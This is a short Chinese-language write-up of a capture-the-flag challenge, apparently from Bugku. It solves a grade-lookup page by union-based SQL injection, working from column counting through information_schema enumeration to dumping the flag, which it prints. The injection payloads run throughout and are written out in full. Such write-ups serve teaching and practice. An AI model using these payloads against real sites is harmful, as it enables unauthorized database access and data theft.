原始界面
与以往的sql注入不同,直接在成绩查询栏中 注入
随便输入数字
发现居然会出现显示位
之后猜测应该有3个以上的显示位,因为成绩就已经有了3个
?id=1' union select 1,2,3#
发现没有反应
那么就四个
?id=1' union select 1,2,3,4#
发现了4个 ,那我们就用最后一个
先查数据库
?id=1' union select 1,2,3,database()#
得到数据库为 skctf_flag
之后查表
?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
应该是第一个表吧。
查第一个表
?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#
这个表名居然和 数据库名字重复了
没事
我们接着查字段内容
?id=1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#
得到flag为
BUGKU{Sql_INJECT0N_4813drd8hz4}